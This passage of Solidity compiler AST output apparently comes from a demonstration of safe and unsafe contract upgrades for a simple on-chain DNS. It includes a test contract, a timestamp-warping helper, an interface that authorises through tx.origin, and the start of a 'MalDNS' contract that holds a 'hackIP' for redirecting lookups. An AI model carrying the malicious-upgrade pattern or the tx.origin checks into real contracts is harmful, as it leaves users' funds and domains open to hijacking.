DNSTest","value":"this"},"id":1330,"name":"Identifier","src":"6725:4:2"}],"id":1331,"name":"FunctionCall","src":"6717:13:2"}],"id":1332,"name":"FunctionCall","src":"6684:47:2"}],"id":1333,"name":"ExpressionStatement","src":"6684:47:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1163,"type":"bytes4","value":"ip"},"id":1334,"name":"Identifier","src":"6736:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1166,"type":"address","value":"owner"},"id":1335,"name":"Identifier","src":"6740:5:2"}],"id":1336,"name":"TupleExpression","src":"6735:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":418,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1337,"name":"Identifier","src":"6749:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1338,"name":"Literal","src":"6755:1:2"}],"id":1339,"name":"IndexAccess","src":"6749:8:2"}],"id":1340,"name":"MemberAccess","src":"6749:16:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1147,"type":"string memory","value":"d0"},"id":1341,"name":"Identifier","src":"6766:2:2"}],"id":1342,"name":"FunctionCall","src":"6749:20:2"}],"id":1343,"name":"Assignment","src":"6735:34:2"}],"id":1344,"name":"ExpressionStatement","src":"6735:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1345,"name":"Identifier","src":"6773:10:2"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1163,"type":"bytes4","value":"ip"},"id":1346,"name":"Identifier","src":"6784:2:2"},{"attributes":{"hexvalue":"30783133333731333337","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 322376503","value":"0x13371337"},"id":1347,"name":"Literal","src":"6790:10:2"}],"id":1348,"name":"BinaryOperation","src":"6784:16:2"}],"id":1349,"name":"FunctionCall","src":"6773:28:2"}],"id":1350,"name":"ExpressionStatement","src":"6773:28:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1351,"name":"Identifier","src":"6805:10:2"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1166,"type":"address","value":"owner"},"id":1352,"name":"Identifier","src":"6816:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_DNSTest_$1362","typeString":"contract DNSTest"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1353,"name":"ElementaryTypeName","src":"6825:7:2"}],"id":1354,"name":"ElementaryTypeNameExpression","src":"6825:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-28,"type":"contract DNSTest","value":"this"},"id":1355,"name":"Identifier","src":"6833:4:2"}],"id":1356,"name":"FunctionCall","src":"6825:13:2"}],"id":1357,"name":"BinaryOperation","src":"6816:22:2"}],"id":1358,"name":"FunctionCall","src":"6805:34:2"}],"id":1359,"name":"ExpressionStatement","src":"6805:34:2"}],"id":1360,"name":"Block","src":"5618:1237:2"}],"id":1361,"name":"FunctionDefinition","src":"5581:1274:2"}],"id":1362,"name":"ContractDefinition","src":"1079:5778:2"}],"id":1363,"name":"SourceUnit","src":"36:6822:2"}},"src/HEVMCheat.sol":{"AST":{"attributes":{"absolutePath":"src/HEVMCheat.sol","exportedSymbols":{"HEVMCheat":[1417]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":1364,"name":"PragmaDirective","src":"36:23:3"},{"attributes":{"abstract":false,"baseContracts":[null],"contractDependencies":[null],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[1417],"name":"HEVMCheat","scope":1418},"children":[{"attributes":{"text":"HEVM has a special contract able to change the block timestamp.\n This is used in the tests, to show safe and unsafe upgrades."},"id":1365,"name":"StructuredDocumentation","src":"61:133:3"},{"attributes":{"constant":true,"mutability":"constant","name":"hevmCheat","scope":1417,"stateVariable":true,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1366,"name":"ElementaryTypeName","src":"216:7:3"},{"attributes":{"hexvalue":"307837313039373039454366613931613830363236664633393839443638663637463562314444313244","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"address payable","value":"0x7109709ECfa91a80626fF3989D68f67F5b1DD12D"},"id":1367,"name":"Literal","src":"245:42:3"}],"id":1368,"name":"VariableDeclaration","src":"216:71:3"},{"attributes":{"functionSelector":"e5d6bf02","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"warp","scope":1417,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"x","scope":1392,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1369,"name":"ElementaryTypeName","src":"305:4:3"}],"id":1370,"name":"VariableDeclaration","src":"305:6:3"}],"id":1371,"name":"ParameterList","src":"304:8:3"},{"attributes":{"parameters":[null]},"children":[],"id":1372,"name":"ParameterList","src":"320:0:3"},{"children":[{"attributes":{"assignments":[1374,null]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"success","scope":1391,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":1373,"name":"ElementaryTypeName","src":"325:4:3"}],"id":1374,"name":"VariableDeclaration","src":"325:12:3"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,bytes memory)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"call","type":"function (bytes memory) payable returns (bool,bytes memory)"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1375,"name":"ElementaryTypeName","src":"342:7:3"}],"id":1376,"name":"ElementaryTypeNameExpression","src":"342:7:3"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1368,"type":"address","value":"hevmCheat"},"id":1377,"name":"Identifier","src":"350:9:3"}],"id":1378,"name":"FunctionCall","src":"342:18:3"}],"id":1379,"name":"MemberAccess","src":"342:23:3"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e5d6bf02a4a6f7a08644db167878218135b1884ef29ffb18b04c2ccc5cbc82f3","typeString":"literal_string \"warp(uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"encodeWithSignature","type":"function (string memory) pure returns (bytes memory)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-1,"type":"abi","value":"abi"},"id":1380,"name":"Identifier","src":"366:3:3"}],"id":1381,"name":"MemberAccess","src":"366:23:3"},{"attributes":{"hexvalue":"776172702875696e7432353629","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"warp(uint256)\"","value":"warp(uint256)"},"id":1382,"name":"Literal","src":"390:15:3"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1370,"type":"uint256","value":"x"},"id":1383,"name":"Identifier","src":"407:1:3"}],"id":1384,"name":"FunctionCall","src":"366:43:3"}],"id":1385,"name":"FunctionCall","src":"342:68:3"}],"id":1386,"name":"VariableDeclarationStatement","src":"324:86:3"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool) pure","value":"require"},"id":1387,"name":"Identifier","src":"414:7:3"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1374,"type":"bool","value":"success"},"id":1388,"name":"Identifier","src":"422:7:3"}],"id":1389,"name":"FunctionCall","src":"414:16:3"}],"id":1390,"name":"ExpressionStatement","src":"414:16:3"}],"id":1391,"name":"Block","src":"320:114:3"}],"id":1392,"name":"FunctionDefinition","src":"291:143:3"},{"attributes":{"functionSelector":"1f7b4f30","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"roll","scope":1417,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"x","scope":1416,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1393,"name":"ElementaryTypeName","src":"451:4:3"}],"id":1394,"name":"VariableDeclaration","src":"451:6:3"}],"id":1395,"name":"ParameterList","src":"450:8:3"},{"attributes":{"parameters":[null]},"children":[],"id":1396,"name":"ParameterList","src":"466:0:3"},{"children":[{"attributes":{"assignments":[1398,null]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"success","scope":1415,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":1397,"name":"ElementaryTypeName","src":"471:4:3"}],"id":1398,"name":"VariableDeclaration","src":"471:12:3"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,bytes memory)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"call","type":"function (bytes memory) payable returns (bool,bytes memory)"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1399,"name":"ElementaryTypeName","src":"488:7:3"}],"id":1400,"name":"ElementaryTypeNameExpression","src":"488:7:3"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1368,"type":"address","value":"hevmCheat"},"id":1401,"name":"Identifier","src":"496:9:3"}],"id":1402,"name":"FunctionCall","src":"488:18:3"}],"id":1403,"name":"MemberAccess","src":"488:23:3"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1f7b4f30c3ae826cfb96d5277648418a175aebb15abc0706d40403a2812488ab","typeString":"literal_string \"roll(uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"encodeWithSignature","type":"function (string memory) pure returns (bytes memory)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-1,"type":"abi","value":"abi"},"id":1404,"name":"Identifier","src":"512:3:3"}],"id":1405,"name":"MemberAccess","src":"512:23:3"},{"attributes":{"hexvalue":"726f6c6c2875696e7432353629","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"roll(uint256)\"","value":"roll(uint256)"},"id":1406,"name":"Literal","src":"536:15:3"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1394,"type":"uint256","value":"x"},"id":1407,"name":"Identifier","src":"553:1:3"}],"id":1408,"name":"FunctionCall","src":"512:43:3"}],"id":1409,"name":"FunctionCall","src":"488:68:3"}],"id":1410,"name":"VariableDeclarationStatement","src":"470:86:3"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool) pure","value":"require"},"id":1411,"name":"Identifier","src":"560:7:3"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1398,"type":"bool","value":"success"},"id":1412,"name":"Identifier","src":"568:7:3"}],"id":1413,"name":"FunctionCall","src":"560:16:3"}],"id":1414,"name":"ExpressionStatement","src":"560:16:3"}],"id":1415,"name":"Block","src":"466:114:3"}],"id":1416,"name":"FunctionDefinition","src":"437:143:3"}],"id":1417,"name":"ContractDefinition","src":"194:388:3"}],"id":1418,"name":"SourceUnit","src":"36:547:3"}},"src/IDNS.sol":{"AST":{"attributes":{"absolutePath":"src/IDNS.sol","exportedSymbols":{"IDNS":[1462]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":1419,"name":"PragmaDirective","src":"36:23:4"},{"attributes":{"abstract":false,"baseContracts":[null],"contractDependencies":[null],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[1462],"name":"IDNS","scope":1463},"children":[{"attributes":{"text":"@title A simple DNS interface."},"id":1420,"name":"StructuredDocumentation","src":"61:35:4"},{"attributes":{"canonicalName":"IDNS.Entry","name":"Entry","scope":1462,"visibility":"public"},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"ip","scope":1425,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1421,"name":"ElementaryTypeName","src":"162:6:4"}],"id":1422,"name":"VariableDeclaration","src":"162:9:4"},{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":1425,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1423,"name":"ElementaryTypeName","src":"175:7:4"}],"id":1424,"name":"VariableDeclaration","src":"175:13:4"}],"id":1425,"name":"StructDefinition","src":"145:47:4"},{"attributes":{"functionSelector":"89404978","implemented":false,"isConstructor":false,"kind":"function","modifiers":[null],"name":"register","scope":1462,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Registers a new domain. Domain must be currently unused.\n @param _domain New domain to be registered.\n @param _ip Ip the domain should point to.\n @param _owner Owner of the newly registered domain."},"id":1426,"name":"StructuredDocumentation","src":"194:221:4"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1435,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1427,"name":"ElementaryTypeName","src":"435:6:4"}],"id":1428,"name":"VariableDeclaration","src":"435:21:4"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":1435,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1429,"name":"ElementaryTypeName","src":"458:6:4"}],"id":1430,"name":"VariableDeclaration","src":"458:10:4"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":1435,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1431,"name":"ElementaryTypeName","src":"470:7:4"}],"id":1432,"name":"VariableDeclaration","src":"470:14:4"}],"id":1433,"name":"ParameterList","src":"434:51:4"},{"attributes":{"parameters":[null]},"children":[],"id":1434,"name":"ParameterList","src":"494:0:4"}],"id":1435,"name":"FunctionDefinition","src":"417:78:4"},{"attributes":{"functionSelector":"f7a46696","implemented":false,"isConstructor":false,"kind":"function","modifiers":[null],"name":"update","scope":1462,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\n @param _domain Domain to be updated.\n @param _ip New ip that the domain should point to."},"id":1436,"name":"StructuredDocumentation","src":"498:203:4"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1443,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1437,"name":"ElementaryTypeName","src":"719:6:4"}],"id":1438,"name":"VariableDeclaration","src":"719:21:4"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":1443,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1439,"name":"ElementaryTypeName","src":"742:6:4"}],"id":1440,"name":"VariableDeclaration","src":"742:10:4"}],"id":1441,"name":"ParameterList","src":"718:35:4"},{"attributes":{"parameters":[null]},"children":[],"id":1442,"name":"ParameterList","src":"762:0:4"}],"id":1443,"name":"FunctionDefinition","src":"703:60:4"},{"attributes":{"functionSelector":"fbf58b3e","implemented":false,"isConstructor":false,"kind":"function","modifiers":[null],"name":"transfer","scope":1462,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\n @param _domain Domain to be transferred.\n @param _owner New owner."},"id":1444,"name":"StructuredDocumentation","src":"766:182:4"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1451,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1445,"name":"ElementaryTypeName","src":"968:6:4"}],"id":1446,"name":"VariableDeclaration","src":"968:21:4"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":1451,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1447,"name":"ElementaryTypeName","src":"991:7:4"}],"id":1448,"name":"VariableDeclaration","src":"991:14:4"}],"id":1449,"name":"ParameterList","src":"967:39:4"},{"attributes":{"parameters":[null]},"children":[],"id":1450,"name":"ParameterList","src":"1015:0:4"}],"id":1451,"name":"FunctionDefinition","src":"950:66:4"},{"attributes":{"functionSelector":"461a4478","implemented":false,"isConstructor":false,"kind":"function","modifiers":[null],"name":"resolve","scope":1462,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@return The IP that _domain points to and the owner."},"id":1452,"name":"StructuredDocumentation","src":"1019:56:4"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1461,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1453,"name":"ElementaryTypeName","src":"1094:6:4"}],"id":1454,"name":"VariableDeclaration","src":"1094:21:4"}],"id":1455,"name":"ParameterList","src":"1093:23:4"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":1461,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1456,"name":"ElementaryTypeName","src":"1140:6:4"}],"id":1457,"name":"VariableDeclaration","src":"1140:6:4"},{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":1461,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1458,"name":"ElementaryTypeName","src":"1148:7:4"}],"id":1459,"name":"VariableDeclaration","src":"1148:13:4"}],"id":1460,"name":"ParameterList","src":"1139:23:4"}],"id":1461,"name":"FunctionDefinition","src":"1077:86:4"}],"id":1462,"name":"ContractDefinition","src":"96:1069:4"}],"id":1463,"name":"SourceUnit","src":"36:1130:4"}},"src/MalDNS.sol":{"AST":{"attributes":{"absolutePath":"src/MalDNS.sol","exportedSymbols":{"IDNS":[1462],"MalDNS":[1723],"Upgrade":[2050]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":1464,"name":"PragmaDirective","src":"36:23:5"},{"attributes":{"literals":["experimental","ABIEncoderV2"]},"id":1465,"name":"PragmaDirective","src":"60:33:5"},{"attributes":{"SourceUnit":1463,"absolutePath":"src/IDNS.sol","file":"./IDNS.sol","scope":1724,"symbolAliases":[null],"unitAlias":""},"id":1466,"name":"ImportDirective","src":"95:20:5"},{"attributes":{"SourceUnit":2051,"absolutePath":"src/Upgrade.sol","file":"./Upgrade.sol","scope":1724,"symbolAliases":[null],"unitAlias":""},"id":1467,"name":"ImportDirective","src":"116:23:5"},{"attributes":{"abstract":false,"contractDependencies":[1462],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[1723,1462],"name":"MalDNS","scope":1724},"children":[{"attributes":{},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1468,"name":"UserDefinedTypeName","src":"160:4:5"}],"id":1469,"name":"InheritanceSpecifier","src":"160:4:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"data","scope":1723,"stateVariable":true,"storageLocation":"default","type":"mapping(string => struct IDNS.Entry)","visibility":"internal"},"children":[{"attributes":{"type":"mapping(string => struct IDNS.Entry)"},"children":[{"attributes":{"name":"string","type":"string"},"id":1470,"name":"ElementaryTypeName","src":"177:6:5"},{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":1471,"name":"UserDefinedTypeName","src":"187:5:5"}],"id":1472,"name":"Mapping","src":"168:25:5"}],"id":1473,"name":"VariableDeclaration","src":"168:30:5"},{"attributes":{"constant":false,"functionSelector":"9735009b","mutability":"immutable","name":"originalDNS","scope":1723,"stateVariable":true,"storageLocation":"default","type":"contract IDNS","visibility":"public"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1474,"name":"UserDefinedTypeName","src":"202:4:5"}],"id":1475,"name":"VariableDeclaration","src":"202:33:5"},{"attributes":{"constant":false,"functionSelector":"0528b345","mutability":"immutable","name":"upgradeInfo","scope":1723,"stateVariable":true,"storageLocation":"default","type":"contract Upgrade","visibility":"public"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":1476,"name":"UserDefinedTypeName","src":"238:7:5"}],"id":1477,"name":"VariableDeclaration","src":"238:36:5"},{"attributes":{"constant":false,"mutability":"immutable","name":"owner","scope":1723,"stateVariable":true,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1478,"name":"ElementaryTypeName","src":"278:7:5"}],"id":1479,"name":"VariableDeclaration","src":"278:23:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"hackIP","scope":1723,"stateVariable":true,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1480,"name":"ElementaryTypeName","src":"304:6:5"}],"id":1481,"name":"VariableDeclaration","src":"304:13:5"},{"attributes":{"implemented":true,"isConstructor":true,"kind":"constructor","modifiers":[null],"name":"","scope":1723,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":1512,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1482,"name":"ElementaryTypeName","src":"333:6:5"}],"id":1483,"name":"VariableDeclaration","src":"333:10:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_dns","scope":1512,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1484,"name":"UserDefinedTypeName","src":"345:4:5"}],"id":1485,"name":"VariableDeclaration","src":"345:9:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"_info","scope":1512,"stateVariable":false,"storageLocation":"default","type":"contract Upgrade","visibility":"internal"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":1486,"name":"UserDefinedTypeName","src":"356:7:5"}],"id":1487,"name":"VariableDeclaration","src":"356:13:5"}],"id":1488,"name":"ParameterList","src":"332:38:5"},{"attributes":{"parameters":[null]},"children":[],"id":1489,"name":"ParameterList","src":"371:0:5"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1481,"type":"bytes4","value":"hackIP"},"id":1490,"name":"Identifier","src":"375:6:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1483,"type":"bytes4","value":"_ip"},"id":1491,"name":"Identifier","src":"384:3:5"}],"id":1492,"name":"Assignment","src":"375:12:5"}],"id":1493,"name":"ExpressionStatement","src":"375:12:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract IDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1475,"type":"contract IDNS","value":"originalDNS"},"id":1494,"name":"Identifier","src":"391:11:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":1495,"name":"Identifier","src":"405:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1485,"type":"contract IDNS","value":"_dns"},"id":1496,"name":"Identifier","src":"410:4:5"}],"id":1497,"name":"FunctionCall","src":"405:10:5"}],"id":1498,"name":"Assignment","src":"391:24:5"}],"id":1499,"name":"ExpressionStatement","src":"391:24:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract Upgrade"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1477,"type":"contract Upgrade","value":"upgradeInfo"},"id":1500,"name":"Identifier","src":"419:11:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract Upgrade","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"overloadedDeclarations":[null],"referencedDeclaration":2050,"type":"type(contract Upgrade)","value":"Upgrade"},"id":1501,"name":"Identifier","src":"433:7:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1487,"type":"contract 